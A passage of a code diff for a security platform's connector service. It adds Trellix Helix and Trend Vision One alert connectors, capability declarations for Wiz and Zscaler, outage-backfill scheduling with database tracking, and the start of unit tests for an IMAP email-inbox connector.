+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+
+class TrellixHelixConnector(BaseConnector):
+ """Trellix Helix XDR — alerts + ad-hoc MQL search."""
+
+ connector_id = "trellix_helix"
+ connector_name = "Trellix Helix"
+ connector_category = "siem"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Trellix Helix (formerly FireEye Helix) XDR — alerts feed plus "
+ "MQL search over raw events. Customer ID is the slug shown in "
+ "your Helix console URL after /helix/id/."
+ ),
+ docs_url="/docs/connectors/trellix-helix",
+ fields=[
+ Field(
+ "base_url",
+ "string",
+ "Helix base URL",
+ placeholder="https://apps.fireeye.com",
+ default="https://apps.fireeye.com",
+ help_text="Most tenants use the default. EU customers may use a regional FQDN.",
+ ),
+ Field(
+ "customer_id",
+ "string",
+ "Customer ID",
+ placeholder="abcd1234",
+ help_text=(
+ "The slug between '/helix/id/' and '/' in your Helix "
+ "console URL. Lowercase alphanumeric."
+ ),
+ ),
+ Field(
+ "api_key",
+ "secret",
+ "API Key",
+ help_text="Generated under Configure → Authentication → API Keys.",
+ ),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.QUERY_LOGS,
+ Capability.PIVOT_HOST,
+ Capability.PIVOT_USER,
+ )
+
+ def __init__(self, base_url: str, customer_id: str, api_key: str):
+ self._base = base_url.rstrip("/")
+ self._customer = customer_id
+ self._api_key = api_key
+
+ def _headers(self) -> dict[str, str]:
+ return {
+ "x-fireeye-api-key": self._api_key,
+ "Accept": "application/json",
+ "Content-Type": "application/json",
+ }
+
+ def _alerts_url(self) -> str:
+ return f"{self._base}/helix/id/{self._customer}/api/v3/alerts"
+
+ async def test_connection(self) -> dict[str, Any]:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.get(
+ self._alerts_url(),
+ headers=self._headers(),
+ params={"limit": 1},
+ )
+ if resp.status_code == 200:
+ return {"success": True, "connector": self.connector_id}
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"HTTP {resp.status_code}: {resp.text[:300]}",
+ }
+ except Exception as exc:
+ return {"success": False, "connector": self.connector_id, "error": str(exc)}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ since = datetime.now(UTC) - timedelta(seconds=since_seconds)
+ events: list[dict[str, Any]] = []
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ self._alerts_url(),
+ headers=self._headers(),
+ params={
+ "limit": 100,
+ # Helix accepts ISO8601 with Z suffix.
+ "time_min": since.strftime("%Y-%m-%dT%H:%M:%S.000Z"),
+ },
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "trellix_helix.alerts_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ for alert in (resp.json() or {}).get("data", []):
+ events.append(alert)
+ except Exception as exc:
+ logger.warning("trellix_helix.exception", error=str(exc))
+
+ return [self.normalize(e) for e in events]
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ risk = (raw.get("risk") or "").lower()
+ if risk in ("critical", "high"):
+ severity = "high"
+ elif risk == "medium":
+ severity = "medium"
+ elif risk == "low":
+ severity = "low"
+ else:
+ severity = "info"
+ return {
+ "source": "trellix_helix",
+ "category": "siem",
+ "severity": severity,
+ "title": raw.get("name") or "Trellix Helix alert",
+ "description": raw.get("description"),
+ "alert_id": raw.get("id"),
+ "host": raw.get("hostname"),
+ "user": raw.get("username"),
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/trend_vision_one.py b/services/connectors/app/connectors/trend_vision_one.py
new file mode 100644
index 000000000..b8a5c9a2e
--- /dev/null
+++ b/services/connectors/app/connectors/trend_vision_one.py
@@ -0,0 +1,184 @@
+"""
+Trend Micro Vision One (XDR) connector.
+
+Vision One is Trend's XDR platform with several feeds. We expose:
+
+1. **Workbench alerts** — ``GET /v3.0/workbench/alerts`` (correlated cases).
+2. **Detection events** — ``GET /v3.0/oat/detections`` (Observed Attack Techniques).
+3. **Endpoint inventory + isolation** — ``POST /v3.0/response/endpoints/{action}``
+ for ISOLATE / UNISOLATE.
+
+Auth: Bearer token. Trend regions are explicit hostnames — pick from the
+dropdown to match your console region.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+_REGION_HOSTS: dict[str, str] = {
+ "us": "https://api.xdr.trendmicro.com",
+ "eu": "https://api.eu.xdr.trendmicro.com",
+ "in": "https://api.in.xdr.trendmicro.com",
+ "jp": "https://api.xdr.trendmicro.co.jp",
+ "sg": "https://api.sg.xdr.trendmicro.com",
+ "au": "https://api.au.xdr.trendmicro.com",
+}
+
+
+class TrendVisionOneConnector(BaseConnector):
+ """Trend Micro Vision One XDR — alerts + OAT detections + endpoint actions."""
+
+ connector_id = "trend_vision_one"
+ connector_name = "Trend Vision One"
+ connector_category = "edr"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Trend Micro Vision One XDR. Pulls Workbench alerts and OAT "
+ "(Observed Attack Technique) detections. Supports endpoint "
+ "isolation as an agent capability."
+ ),
+ docs_url="/docs/connectors/trend-vision-one",
+ fields=[
+ Field(
+ "region",
+ "select",
+ "Region",
+ options=[
+ {"value": "us", "label": "United States"},
+ {"value": "eu", "label": "Europe"},
+ {"value": "in", "label": "India"},
+ {"value": "jp", "label": "Japan"},
+ {"value": "sg", "label": "Singapore"},
+ {"value": "au", "label": "Australia"},
+ ],
+ help_text="Vision One has region-specific hostnames; using the wrong one returns 401.",
+ ),
+ Field(
+ "api_token",
+ "secret",
+ "API Token",
+ help_text=(
+ "Bearer token issued from Vision One console: "
+ "Administration → API Keys."
+ ),
+ ),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.PULL_AUDIT,
+ Capability.PIVOT_HOST,
+ Capability.ISOLATE_HOST,
+ Capability.UNISOLATE_HOST,
+ )
+
+ def __init__(self, region: str, api_token: str):
+ if region not in _REGION_HOSTS:
+ raise ValueError(f"unknown Trend Vision One region: {region!r}")
+ self._region = region
+ self._base = _REGION_HOSTS[region]
+ self._api_token = api_token
+
+ def _headers(self) -> dict[str, str]:
+ return {
+ "Authorization": f"Bearer {self._api_token}",
+ "Content-Type": "application/json;charset=utf-8",
+ }
+
+ async def test_connection(self) -> dict[str, Any]:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.get(
+ f"{self._base}/v3.0/workbench/alerts",
+ headers=self._headers(),
+ params={"top": 1},
+ )
+ if resp.status_code == 200:
+ return {"success": True, "connector": self.connector_id, "region": self._region}
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"HTTP {resp.status_code}: {resp.text[:300]}",
+ }
+ except Exception as exc:
+ return {"success": False, "connector": self.connector_id, "error": str(exc)}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ since = datetime.now(UTC) - timedelta(seconds=since_seconds)
+ since_iso = since.strftime("%Y-%m-%dT%H:%M:%SZ")
+ events: list[dict[str, Any]] = []
+
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ try:
+ wb = await client.get(
+ f"{self._base}/v3.0/workbench/alerts",
+ headers=self._headers(),
+ params={"startDateTime": since_iso, "top": 100, "orderBy": "createdDateTime"},
+ )
+ if wb.status_code == 200:
+ for item in (wb.json() or {}).get("items", []):
+ item["_aisoc_stream"] = "workbench"
+ events.append(item)
+ else:
+ logger.warning(
+ "trend_vision_one.workbench_failed",
+ status=wb.status_code,
+ body=wb.text[:300],
+ )
+ except Exception as exc:
+ logger.warning("trend_vision_one.workbench_exception", error=str(exc))
+
+ try:
+ oat = await client.get(
+ f"{self._base}/v3.0/oat/detections",
+ headers=self._headers(),
+ params={"detectedStartDateTime": since_iso, "top": 100},
+ )
+ if oat.status_code == 200:
+ for item in (oat.json() or {}).get("items", []):
+ item["_aisoc_stream"] = "oat"
+ events.append(item)
+ except Exception as exc:
+ logger.warning("trend_vision_one.oat_exception", error=str(exc))
+
+ return [self.normalize(e) for e in events]
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ sev_raw = (raw.get("severity") or raw.get("riskLevel") or "").lower()
+ if sev_raw in ("critical", "high"):
+ severity = "high"
+ elif sev_raw == "medium":
+ severity = "medium"
+ elif sev_raw == "low":
+ severity = "low"
+ else:
+ severity = "info"
+ title = raw.get("model") or raw.get("eventName") or "Trend Vision One detection"
+ return {
+ "source": "trend_vision_one",
+ "category": "edr",
+ "severity": severity,
+ "title": title,
+ "description": raw.get("description"),
+ "alert_id": raw.get("id") or raw.get("uuid"),
+ "host": (raw.get("impactScope") or {}).get("entityValue"),
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/wiz.py b/services/connectors/app/connectors/wiz.py
index 24e1b5451..8584a3f43 100644
--- a/services/connectors/app/connectors/wiz.py
+++ b/services/connectors/app/connectors/wiz.py
@@ -11,7 +11,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -85,6 +85,11 @@ class WizConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Wiz issues are surfaced to the agent layer as alerts (CSPM findings).
+ return (Capability.PULL_ALERTS,)
+
def __init__(
self,
client_id: str,
diff --git a/services/connectors/app/connectors/zscaler.py b/services/connectors/app/connectors/zscaler.py
index 0fb6f9bb5..3899aa66d 100644
--- a/services/connectors/app/connectors/zscaler.py
+++ b/services/connectors/app/connectors/zscaler.py
@@ -13,7 +13,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -54,6 +54,12 @@ class ZscalerConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Zscaler ZIA — web policy / proxy logs surfaced as alerts when blocks
+ # / quarantines fire. Today the runtime only implements ``fetch_alerts``.
+ return (Capability.PULL_ALERTS,)
+
def __init__(
self,
api_key: str,
diff --git a/services/connectors/app/db/connector_repo.py b/services/connectors/app/db/connector_repo.py
index fe16b7378..8fc93bbfe 100644
--- a/services/connectors/app/db/connector_repo.py
+++ b/services/connectors/app/db/connector_repo.py
@@ -30,6 +30,7 @@ from sqlalchemy import (
String,
Table,
Text,
+ func,
select,
update,
)
@@ -62,6 +63,19 @@ connectors_table = Table(
Column("schema_fingerprint", Text),
Column("last_schema_drift_at", DateTime(timezone=True)),
Column("last_drift_details", JSONB),
+ # Workstream 5 self-healing (migration 032). The scheduler reads
+ # ``last_outage_at`` on poll success to decide whether the connector
+ # is recovering from a >30-min outage and writes ``last_outage_at``
+ # on poll failure if it isn't already set. ``last_backfill_at``
+ # gates the one-shot backfill so we don't re-fire during recovery
+ # flaps.
+ Column("last_outage_at", DateTime(timezone=True)),
+ Column("last_backfill_at", DateTime(timezone=True)),
+ # Workstream 1 / 5 — used by the freshness-SLO badge logic on the
+ # API side and by the verify-data-flowing onboarding screen. The
+ # scheduler updates this on each poll that produced events.
+ Column("last_event_at", DateTime(timezone=True)),
+ Column("last_event_kind", String(50)),
Column("tags", JSON, nullable=False),
Column("created_at", DateTime(timezone=True), nullable=False),
Column("updated_at", DateTime(timezone=True), nullable=False),
@@ -95,6 +109,12 @@ class ConnectorInstance:
schema_fingerprint: str | None
last_schema_drift_at: datetime | None
last_drift_details: dict[str, Any] | None
+ # Workstream 5 — backfill-on-outage state. ``last_outage_at`` is set
+ # by the scheduler on the first failed poll after a healthy run and
+ # cleared on recovery. ``last_backfill_at`` is the last time the
+ # backfill worker fired so we don't re-fire on flaps.
+ last_outage_at: datetime | None = None
+ last_backfill_at: datetime | None = None
async def fetch_enabled_connectors(connection: Any) -> list[ConnectorInstance]:
@@ -120,6 +140,8 @@ async def fetch_enabled_connectors(connection: Any) -> list[ConnectorInstance]:
connectors_table.c.schema_fingerprint,
connectors_table.c.last_schema_drift_at,
connectors_table.c.last_drift_details,
+ connectors_table.c.last_outage_at,
+ connectors_table.c.last_backfill_at,
).where(connectors_table.c.is_enabled.is_(True))
result = await connection.execute(stmt)
@@ -141,6 +163,8 @@ async def fetch_enabled_connectors(connection: Any) -> list[ConnectorInstance]:
schema_fingerprint=row.schema_fingerprint,
last_schema_drift_at=row.last_schema_drift_at,
last_drift_details=row.last_drift_details,
+ last_outage_at=row.last_outage_at,
+ last_backfill_at=row.last_backfill_at,
)
for row in rows
]
@@ -153,6 +177,8 @@ async def record_poll_success(
events_added: int,
events_dropped: int = 0,
schema_fingerprint: str | None = None,
+ last_event_at: datetime | None = None,
+ last_event_kind: str | None = None,
) -> None:
"""Update last_sync, increment counters, mark healthy.
@@ -160,6 +186,11 @@ async def record_poll_success(
drift bookkeeping (``last_schema_drift_at`` / ``last_drift_details``)
is updated by ``record_schema_drift`` so the two callers don't race
on the same UPDATE.
+
+ Workstream 5: this also clears ``last_outage_at`` so that a connector
+ coming out of an outage stops being marked as "in outage". The actual
+ backfill decision is made by ``record_recovery_for_backfill`` which the
+ scheduler calls *before* this function clears the field.
"""
now = datetime.now(UTC)
values: dict[str, Any] = {
@@ -169,9 +200,17 @@ async def record_poll_success(
"events_ingested": connectors_table.c.events_ingested + events_added,
"events_dropped": connectors_table.c.events_dropped + events_dropped,
"updated_at": now,
+ # Recovery: a successful poll always clears the outage marker. The
+ # backfill worker will have already read this value before we clear
+ # it (see ``record_recovery_for_backfill``).
+ "last_outage_at": None,
}
if schema_fingerprint is not None:
values["schema_fingerprint"] = schema_fingerprint
+ if last_event_at is not None:
+ values["last_event_at"] = last_event_at
+ if last_event_kind is not None:
+ values["last_event_kind"] = last_event_kind
stmt = (
update(connectors_table)
.where(connectors_table.c.id == connector_id)
@@ -184,8 +223,17 @@ async def record_poll_failure(
connection: Any,
connector_id: uuid.UUID,
) -> None:
- """Mark a poll attempt as failed without touching last_sync."""
+ """Mark a poll attempt as failed without touching last_sync.
+
+ Workstream 5: if ``last_outage_at`` is currently NULL, set it to now.
+ This is the "first failed poll after a healthy run" marker that the
+ backfill-on-outage worker uses to compute outage duration. We do *not*
+ overwrite an existing value, so a sustained outage keeps the original
+ start timestamp.
+ """
now = datetime.now(UTC)
+ # COALESCE so we preserve the *first* failed-poll timestamp across a
+ # sustained outage rather than ratcheting it forward on every failure.
stmt = (
update(connectors_table)
.where(connectors_table.c.id == connector_id)
@@ -194,11 +242,32 @@ async def record_poll_failure(
health_status="unhealthy",
error_count=connectors_table.c.error_count + 1,
updated_at=now,
+ last_outage_at=func.coalesce(connectors_table.c.last_outage_at, now),
)
)
await connection.execute(stmt)
+async def record_backfill_run(
+ connection: Any,
+ connector_id: uuid.UUID,
+) -> None:
+ """Record that the backfill-on-outage worker fired for this connector.
+
+ Workstream 5: called by the scheduler immediately after it kicks off a
+ one-shot backfill poll for a recovered connector. The timestamp is used
+ by the dashboard ("backfilled at <ts>") and to suppress re-firing during
+ a recovery flap.
+ """
+ now = datetime.now(UTC)
+ stmt = (
+ update(connectors_table)
+ .where(connectors_table.c.id == connector_id)
+ .values(last_backfill_at=now, updated_at=now)
+ )
+ await connection.execute(stmt)
+
+
async def record_schema_drift(
connection: Any,
connector_id: uuid.UUID,
@@ -231,6 +300,7 @@ __all__ = [
"connectors_table",
"fetch_enabled_connectors",
"metadata",
+ "record_backfill_run",
"record_poll_failure",
"record_poll_success",
"record_schema_drift",
diff --git a/services/connectors/app/scheduler.py b/services/connectors/app/scheduler.py
index 94a310abd..b7e1866aa 100644
--- a/services/connectors/app/scheduler.py
+++ b/services/connectors/app/scheduler.py
@@ -62,6 +62,7 @@ from app.connectors import CONNECTOR_REGISTRY
from app.db.connector_repo import (
ConnectorInstance,
fetch_enabled_connectors,
+ record_backfill_run,
record_poll_failure,
record_poll_success,
record_schema_drift,
@@ -92,6 +93,31 @@ _DEFAULT_POLL_INTERVAL_S = 300
_MIN_POLL_INTERVAL_S = 30
_MAX_POLL_INTERVAL_S = 86400 # 24 hours
+# Workstream 5: backfill-on-outage tunables.
+#
+# When a connector recovers from an outage that lasted at least
+# ``_BACKFILL_OUTAGE_THRESHOLD_S`` we kick off a one-shot poll with an
+# extended lookback window so the customer doesn't have a hole in their
+# data for the duration of the outage. The threshold matches the v2 plan
+# spec ("backfill-on-outage worker fires when a connector is unhealthy
+# for >30 min and then recovers").
+#
+# We also enforce a flap-suppression window: if a backfill ran within the
+# last ``_BACKFILL_FLAP_WINDOW_S`` we won't fire another one even if
+# ``last_outage_at`` looks long. This prevents re-firing on a recovery
+# that briefly toggled back to unhealthy and then to healthy again.
+#
+# ``_MAX_BACKFILL_LOOKBACK_S`` caps the lookback we ask the source for
+# regardless of outage length, to prevent a 3-day outage from triggering
+# a 3-day query that the source rate-limits or rejects.
+_BACKFILL_OUTAGE_THRESHOLD_S = 30 * 60 # 30 minutes
+_BACKFILL_FLAP_WINDOW_S = 10 * 60 # 10 minutes
+_MAX_BACKFILL_LOOKBACK_S = 24 * 60 * 60 # 24 hours
+# Small buffer added to the computed backfill window to cover the gap
+# between the last successful poll and ``last_outage_at`` (which is set
+# at *first failed* poll, not at the last successful one).
+_BACKFILL_LOOKBACK_BUFFER_S = 5 * 60
+
def _coerce_poll_interval(connector_config: dict[str, Any]) -> int:
"""Pull ``poll_interval_seconds`` out of the config blob, with bounds."""
@@ -287,12 +313,23 @@ class ConnectorScheduler:
# ------------------------------------------------------------------ polling
- async def _poll_one(self, *, connector_id: uuid.UUID) -> None:
+ async def _poll_one(
+ self,
+ *,
+ connector_id: uuid.UUID,
+ backfill_seconds: int | None = None,
+ ) -> None:
"""Single-connector poll cycle.
Always wraps the entire body in try/except so a misbehaving
connector class can't take down the scheduler. Records success or
failure on the row, then returns.
+
+ When ``backfill_seconds`` is provided this is a one-shot recovery
+ poll triggered by the backfill-on-outage worker. We use that value
+ as the lookback instead of the connector's normal poll cadence and
+ we skip the recovery-detection branch at the end (we don't want
+ the backfill itself to schedule another backfill).
"""
if self._engine is None or self._ingest_client is None or self._vault is None:
logger.warning(
@@ -374,7 +411,22 @@ class ConnectorScheduler:
# We deliberately default to the same poll interval, so a 5-min
# poll fetches the last 5 min of events. This keeps the source
# query window aligned with the scheduler cadence.
- since_seconds = _coerce_poll_interval(target.connector_config)
+ #
+ # Workstream 5: when this is a backfill-on-outage poll, the worker
+ # passes an explicit ``backfill_seconds`` window covering the outage
+ # duration (capped at _MAX_BACKFILL_LOOKBACK_S). The cap matters
+ # because some sources rate-limit or outright reject very large
+ # query windows.
+ if backfill_seconds is not None:
+ since_seconds = max(1, min(int(backfill_seconds), _MAX_BACKFILL_LOOKBACK_S))
+ logger.info(
+ "connector.scheduler.backfill_poll id=%s type=%s since_seconds=%d",
+ connector_id,
+ target.connector_type,
+ since_seconds,
+ )
+ else:
+ since_seconds = _coerce_poll_interval(target.connector_config)
try:
raw_events = await connector.fetch_alerts(since_seconds=since_seconds)
except Exception:
@@ -486,14 +538,62 @@ class ConnectorScheduler:
details=drift_details,
)
+ # Workstream 5: derive ``last_event_at`` from the kept batch so the
+ # freshness-SLO badge in the UI reflects the freshest event we
+ # actually shipped to the lake (not the poll wall-clock, which can
+ # be misleading for low-volume connectors). We look at the standard
+ # ECS-ish ``@timestamp`` first and fall back to ``timestamp``; if
+ # neither is present or parseable we leave ``last_event_at`` as
+ # None and ``record_poll_success`` won't touch the column.
+ last_event_at = _extract_last_event_at(kept) if accepted > 0 else None
+ last_event_kind = target.connector_type if accepted > 0 else None
+
+ # Workstream 5: detect recovery-from-outage *before* writing
+ # success. ``record_poll_success`` clears ``last_outage_at``, so we
+ # must read it from the in-memory ``target`` snapshot. We also
+ # never schedule a backfill for a backfill poll itself (avoid
+ # cascading) or for connectors that just flapped (last_backfill_at
+ # within the flap window).
+ should_backfill = False
+ backfill_window_seconds = 0
+ if backfill_seconds is None and target.last_outage_at is not None:
+ outage_duration = (datetime.now(UTC) - target.last_outage_at).total_seconds()
+ if outage_duration >= _BACKFILL_OUTAGE_THRESHOLD_S:
+ # Suppress flapping: don't re-fire a backfill if we already
+ # ran one within _BACKFILL_FLAP_WINDOW_S.
+ flap_ok = True
+ if target.last_backfill_at is not None:
+ since_last = (datetime.now(UTC) - target.last_backfill_at).total_seconds()
+ if since_last < _BACKFILL_FLAP_WINDOW_S:
+ flap_ok = False
+ logger.info(
+ "connector.scheduler.backfill_suppressed id=%s reason=flap since_last=%ds",
+ connector_id,
+ int(since_last),
+ )
+ if flap_ok:
+ should_backfill = True
+ backfill_window_seconds = min(
+ int(outage_duration) + _BACKFILL_LOOKBACK_BUFFER_S,
+ _MAX_BACKFILL_LOOKBACK_S,
+ )
+ logger.info(
+ "connector.scheduler.backfill_scheduled id=%s outage_duration_s=%d window_s=%d",
+ connector_id,
+ int(outage_duration),
+ backfill_window_seconds,
+ )
+
await self._record_success(
target.id,
events_added=accepted,
events_dropped=dropped_count,
schema_fingerprint=new_fingerprint,
+ last_event_at=last_event_at,
+ last_event_kind=last_event_kind,
)
logger.info(
- "connector.scheduler.poll_complete id=%s type=%s accepted=%d rejected=%d dropped=%d drift=%s elapsed_ms=%d",
+ "connector.scheduler.poll_complete id=%s type=%s accepted=%d rejected=%d dropped=%d drift=%s elapsed_ms=%d backfill=%s",
connector_id,
target.connector_type,
accepted,
@@ -501,8 +601,26 @@ class ConnectorScheduler:
dropped_count,
"yes" if drift_detected else "no",
elapsed_ms,
+ "scheduled" if should_backfill else ("running" if backfill_seconds is not None else "no"),
)
+ # Fire the backfill *after* the success write so the UI shows
+ # "healthy" before the backfill traffic kicks in. We mark the
+ # backfill timestamp before invoking _poll_one to suppress any
+ # racing recovery detection from a parallel job.
+ if should_backfill:
+ await self._record_backfill_run(target.id)
+ try:
+ await self._poll_one(
+ connector_id=connector_id,
+ backfill_seconds=backfill_window_seconds,
+ )
+ except Exception: # pragma: no cover - defensive only
+ logger.exception(
+ "connector.scheduler.backfill_run_failed id=%s",
+ connector_id,
+ )
+
# ------------------------------------------------------------------ db helpers
async def _record_success(
@@ -512,6 +630,8 @@ class ConnectorScheduler:
events_added: int,
events_dropped: int = 0,
schema_fingerprint: str | None = None,
+ last_event_at: datetime | None = None,
+ last_event_kind: str | None = None,
) -> None:
if self._engine is None: # pragma: no cover
return
@@ -523,6 +643,8 @@ class ConnectorScheduler:
events_added=events_added,
events_dropped=events_dropped,
schema_fingerprint=schema_fingerprint,
+ last_event_at=last_event_at,
+ last_event_kind=last_event_kind,
)
except Exception: # pragma: no cover
logger.exception(
@@ -530,6 +652,25 @@ class ConnectorScheduler:
connector_id,
)
+ async def _record_backfill_run(self, connector_id: uuid.UUID) -> None:
+ """Stamp ``last_backfill_at`` to suppress flap-driven re-fires.
+
+ Workstream 5: invoked by ``_poll_one`` immediately before kicking
+ off the one-shot backfill poll. Even if the backfill itself fails,
+ the timestamp prevents a re-fire while the connector is bouncing
+ between healthy/unhealthy.
+ """
+ if self._engine is None: # pragma: no cover
+ return
+ try:
+ async with self._engine.begin() as conn:
+ await record_backfill_run(conn, connector_id)
+ except Exception: # pragma: no cover
+ logger.exception(
+ "connector.scheduler.record_backfill_failed id=%s",
+ connector_id,
+ )
+
async def _record_drift(
self,
connector_id: uuid.UUID,
@@ -587,6 +728,46 @@ def _safe_normalize(connector: Any, event: dict[str, Any]) -> dict[str, Any]:
return out
+def _extract_last_event_at(events: list[dict[str, Any]]) -> datetime | None:
+ """Return the freshest event timestamp from a normalized batch.
+
+ Workstream 5: powers the freshness-SLO badge in the UI. We prefer
+ the ECS-ish ``@timestamp`` field, fall back to ``timestamp``, and
+ accept either ISO-8601 strings (with ``Z`` or offset) or epoch
+ seconds. A batch with no parseable timestamps yields ``None`` so
+ ``record_poll_success`` won't overwrite a previously-good value.
+ """
+ if not events:
+ return None
+ best: datetime | None = None
+ for event in events:
+ if not isinstance(event, dict):
+ continue
+ raw = event.get("@timestamp") or event.get("timestamp")
+ parsed: datetime | None = None
+ if isinstance(raw, datetime):
+ parsed = raw
+ elif isinstance(raw, str):
+ try:
+ # ``fromisoformat`` rejects trailing ``Z`` until 3.11+;
+ # normalize to ``+00:00`` so we work on 3.10+.
+ parsed = datetime.fromisoformat(raw.replace("Z", "+00:00"))
+ except ValueError:
+ parsed = None
+ elif isinstance(raw, (int, float)):
+ try:
+ parsed = datetime.fromtimestamp(float(raw), tz=UTC)
+ except (OverflowError, OSError, ValueError):
+ parsed = None
+ if parsed is None:
+ continue
+ if parsed.tzinfo is None:
+ parsed = parsed.replace(tzinfo=UTC)
+ if best is None or parsed > best:
+ best = parsed
+ return best
+
+
# ---------------------------------------------------------------------------
# Lifespan integration helper
#
diff --git a/services/connectors/tests/test_email_inbox.py b/services/connectors/tests/test_email_inbox.py
new file mode 100644
index 000000000..d7573b665
--- /dev/null
+++ b/services/connectors/tests/test_email_inbox.py
@@ -0,0 +1,313 @@
+"""
+Unit tests for ``EmailInboxConnector``.
+
+We don't spin up a real IMAP server — we monkeypatch the ``imaplib``
+client construction to a stand-in that behaves like ``imaplib.IMAP4_SSL``
+for the surface area we exercise (``login``, ``select``, ``search``,
+``fetch``, ``store``, ``close``, ``logout``).
+
+The point of the tests is:
+
+1. Schema declares the fields the wizard needs.
+2. ``test_connection`` round-trips a successful select.
+3. ``fetch_alerts`` parses RFC822 bytes into the JSON shape that the
+ ``email-forwarded`` ingest template downstream expects.
+4. Multipart messages get their plaintext extracted.
+5. Subject decoding handles RFC 2047 encoded-words.
+6. Oversized bodies get truncated rather than blowing up the pipeline.
+"""
+
+from __future__ import annotations
+
+import asyncio
+from email.mime.multipart import MIMEMultipart
+from email.mime.text import MIMEText
+
+import pytest
+from app.connectors import email_inbox as email_inbox_mod
+from app.connectors.email_inbox import EmailInboxConnector
+
+
+class _FakeIMAP:
+ """Minimal in-memory IMAP server good enough for the connector.
+
+ Tests register messages by UID (``bytes``) before constructing the
+ fake. We track which UIDs were marked seen so tests can assert the
+ connector advances the cursor on success.
+ """
+
+ def __init__(
+ self,
+ messages: dict[bytes, bytes] | None = None,
+ select_ok: bool = True,
+ fail_login: bool = False,
+ ):
+ self._messages = dict(messages or {})
+ self._select_ok = select_ok
+ self._fail_login = fail_login
+ self.seen: set[bytes] = set()
+ self.logged_in = False
+ self.logged_out = False
+ self.selected: str | None = None
+
+ # imaplib protocol surface
+ def login(self, user, pw): # noqa: ARG002 — match imaplib signature
+ if self._fail_login:
+ raise OSError("bad credentials")
+ self.logged_in = True
+ return ("OK", [b"LOGIN OK"])
+
+ def select(self, mailbox, readonly=False): # noqa: ARG002
+ self.selected = mailbox
+ if not self._select_ok:
+ return ("NO", [b"select failed"])
+ return ("OK", [str(len(self._messages)).encode()])
+
+ def search(self, charset, criterion): # noqa: ARG002
+ # All registered messages are "UNSEEN" until ``store`` flags them.
+ unseen = [uid for uid in self._messages if uid not in self.seen]
+ return ("OK", [b" ".join(unseen)])
+
+ def fetch(self, uid, parts): # noqa: ARG002
+ raw = self._messages.get(uid)
+ if raw is None:
+ return ("NO", [None])
+ return ("OK", [(b"%s (RFC822 {%d}" % (uid, len(raw)), raw)])
+
+ def store(self, uid, op, flags): # noqa: ARG002
+ if op == "+FLAGS" and "\\Seen" in flags:
+ self.seen.add(uid)
+ return ("OK", [b"STORE OK"])
+
+ def close(self):
+ self.selected = None
+ return ("OK", [b"CLOSE OK"])
+
+ def logout(self):
+ self.logged_out = True
+ return ("BYE", [b"LOGOUT OK"])
+
+
+def _patch_imap(monkeypatch: pytest.MonkeyPatch, fake: _FakeIMAP) -> None:
+ """Make ``EmailInboxConnector._open`` return our fake."""
+
+ def _open(self): # noqa: ARG001
+ # Mirror the real ``_open`` contract: returns a "logged in" client.
+ fake.login(self._username, self._password)
+ return fake
+
+ monkeypatch.setattr(EmailInboxConnector, "_open", _open)
+
+
+def _run(coro):
+ # ``asyncio.run`` is the supported entry point in Python 3.12+; the older
+ # ``get_event_loop().run_until_complete`` pattern emits a DeprecationWarning
+ # under PEP 678 and is slated for removal.
+ return asyncio.run(coro)
+
+
+# ---------------------------------------------------------------------------
+# Schema
+# ---------------------------------------------------------------------------
+
+
+def test_email_inbox_schema_has_required_fields():
+ schema = EmailInboxConnector.schema()
+ names = {f.name for f in schema.fields}
+ assert {"host", "port", "username", "password", "mailbox"} <= names
+ assert schema.category == "saas"
+ pwd = next(f for f in schema.fields if f.name == "password")
+ assert pwd.type == "secret"
+
+
+def test_email_inbox_capabilities_are_pull_only():
+ caps = EmailInboxConnector.capabilities()
+ # The connector strictly reads — no write/contain/etc. capabilities.
+ assert len(caps) == 1
+ assert caps[0].value == "pull_alerts"
+
+
+# ---------------------------------------------------------------------------
+# test_connection
+# ---------------------------------------------------------------------------
+
+
+def test_test_connection_succeeds_on_select_ok(monkeypatch: pytest.MonkeyPatch):
+ fake = _FakeIMAP(select_ok=True)
+ _patch_imap(monkeypatch, fake)
+ c = EmailInboxConnector(host="imap.test", username="u", password="p")
+ res = _run(c.test_connection())
+ assert res["success"] is True
+ assert res["connector"] == "email_inbox"
